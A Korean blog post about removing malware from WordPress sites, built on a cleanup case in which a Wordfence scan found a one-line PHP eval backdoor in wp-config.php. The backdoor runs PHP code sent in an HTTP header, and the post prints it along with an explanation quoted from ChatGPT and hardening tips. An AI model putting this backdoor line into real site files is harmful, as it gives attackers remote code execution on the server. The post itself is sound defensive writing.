워드프레스 사이트는 보안에 강하지만 업데이트를 소홀히 하거나 보안 취약점이 있는 테마나 플러그인을 사용하거나 보안 관행을 준수하지 않을 경우 멀웨어에 감염될 수 있습니다. 악성코드에 감염되면 다양한 증상이 발생할 수 있습니다. 대표적인 현상으로 이상한 스팸 사이트로 리디렉션되거나 이상한 팝업 배너가 표시되기도 합니다.
악성코드는 여러 가지 경로로 유입될 수 있습니다. wp-config.php 파일이나 .htaccess 파일에 악성코드가 주입되는 경우도 있을 수 있습니다.
워드프레스 보안 문제
워드프레스를 이용하는 사이트들이 늘어나면서 악성코드에 감염되거나 해킹되는 사이트들도 늘고 있습니다.
일부는 워드프레스가 보안에 약해서 멀웨어에 감염되기 쉽다고 하는데요. 전혀 그렇지는 않습니다. 이 블로그는 10년 이상 워드프레스에서 운영되고 있지만 악성코드에 감염된 적은 없습니다.
다음의 경우 멀웨어에 감염될 가능성이 있습니다.
- 워드프레스 코어, 테마, 플러그인을 최신 버전으로 업데이트하지 않는 경우
- 업데이트가 안 되고 방치된 플러그인이나 테마를 사용하는 경우
- 약한 비밀번호를 사용하는 경우
- admin, 사이트 도메인 이름 등을 관리자 ID로 사용하는 경우
- 보안에 위약한 웹호스팅을 이용하는 경우
멀웨어를 방지하기 위해 항상 최신 버전으로 업데이트하고 Wordfence와 같은 보안 플러그인을 사용하는 것을 고려할 수 있습니다. 그리고 정기적으로 백업하는 것도 좋은 습관입니다.
악성코드에 감염되면 치료가 쉽지 않을 수 있습니다. 악성코드를 제거하더라도 보안 조치를 하지 않으면 근본적인 원인이 사라지지 않았기 때문에 재발할 수 있습니다.
wp-config.php 파일 감염 워드프레스 멀웨어 치료
이번 달 들어 몇 차례 멀웨어 치료를 맡았습니다. 한 사이트의 경우 사이트에 접속하면 이상한 사이트로 이동하는 현상이 발생했습니다.

악성코드를 모두 제거한 후에 Wordfence로 스캔하니 wp-config.php 파일에 악성코드가 남아있는 것을 확인할 수 있었습니다.

wp-config.php 파일을 열어서 살펴보니 다음과 같은 코드가 추가되어 있었습니다.
@eval($_SERVER['HTTP_83EA74D']);
이 코드에 대하여 챗GPT에 물어보니 악성코드가 명백한 것 같습니다.
해당 코드는 명백한 악성코드입니다. 이 코드는 워드프레스의 핵심 설정 파일인 wp-config.php에 삽입되어 해커에게 원격 코드 실행(RCE) 기능을 제공합니다. eval() 함수는 문자열을 PHP 코드로 변환하여 실행하는 위험한 함수이며, 여기서는 HTTP 요청 헤더를 통해 전달되는 값을 실행합니다.
이 악성코드의 작동 방식은 다음과 같습니다. 공격자가 특별히 조작된 HTTP 헤더(HTTP_83EA74D)를 포함한 요청을 서버에 보내면, 그 헤더에 포함된 PHP 코드가 서버에서 실행됩니다. 이를 통해 공격자는 파일 삭제, 데이터베이스 조작, 백도어 설치 등 서버에서 거의 모든 작업을 수행할 수 있게 됩니다. 앞의 @ 기호는 오류 메시지를 숨겨 탐지를 어렵게 만드는 역할을 합니다. 이러한 유형의 공격은 탐지가 어렵고 심각한 보안 위협을 초래하므로, 발견 즉시 해당 코드를 제거하고 사이트 전체의 보안을 점검해야 합니다.
wp-config.php 파일에 비정상적인 코드가 추가되어 있으면 악성코드에 감염된 것으로 의심할 수 있습니다. 이 경우 서버 내의 다른 파일에도 악성코드가 주입되었을 수 있으므로 사이트 전체 스캔이 필요합니다.
또한, 데이터 파일뿐만 아니라 DB를 통해서도 교묘하게 악성코드가 추가되어 찾기가 어려운 케이스도 간혹 접합니다. 파일에서 모든 악성코드를 제거해도 멀웨어 증상이 사라지지 않는다면 데이터베이스를 통해 악성코드가 심어져 있을 가능성이 있습니다.
wp-config.php 파일 접근 차단
다음과 같은 코드를 .htaccess 파일에 추가하면 wp-config.php 파일에 대한 접근을 차단할 수 있습니다.
<Files wp-config.php>
order allow,deny
deny from all
</Files>
이 코드는 wp-config.php 파일에 대한 직접적인 웹 접근을 차단하는 보안 조치이지만, 사이트가 악성코드에 감염된 경우에는 wp-config.php 파일의 변조를 완전히 방지하지는 못합니다.
이 코드는 웹 브라우저를 통해 wp-config.php 파일에 직접 접근하는 것을 차단하여 파일 내용이 노출되는 것을 방지합니다. 그러나 이미 서버에 침투한 악성코드나 취약점을 통해 서버 측 권한을 획득한 공격자는 여전히 PHP 실행 권한이나 파일 시스템 접근을 통해 wp-config.php 파일을 수정할 수 있으므로 악의적인 공격자가 서버 측 권한을 획득하지 못하도록 보안에 유의해야 합니다.
보안을 위해 테마 파일 편집기(이전 명칭 "테마 편집기")를 비활성화하는 것도 고려하시기 바랍니다. wp-config.php 파일에 다음 코드를 추가하여 테마 파일 편집기를 비활성화할 수 있습니다.
define('DISALLOW_FILE_EDIT',true);
테마 편집기와 관련하여 다음 글을 참고해보시기 바랍니다.
마치며
워드프레스를 최신 버전으로 업데이트하고 정기적으로 백업하는 등의 조치를 통해 안전하게 사이트를 운영할 수 있습니다. 특히 업데이트를 소홀히 하거나 보안에 취약한 테마나 플러그인을 사용할 경우 멀웨어에 감염되거나 사이트가 해킹당할 수 있습니다.
멀웨어를 비롯하여 워드프레스 및 웹호스팅 관련 문제로 해결에 어려움을 겪는 경우 여기에서 서비스(유료)를 의뢰하실 수 있습니다.
댓글 남기기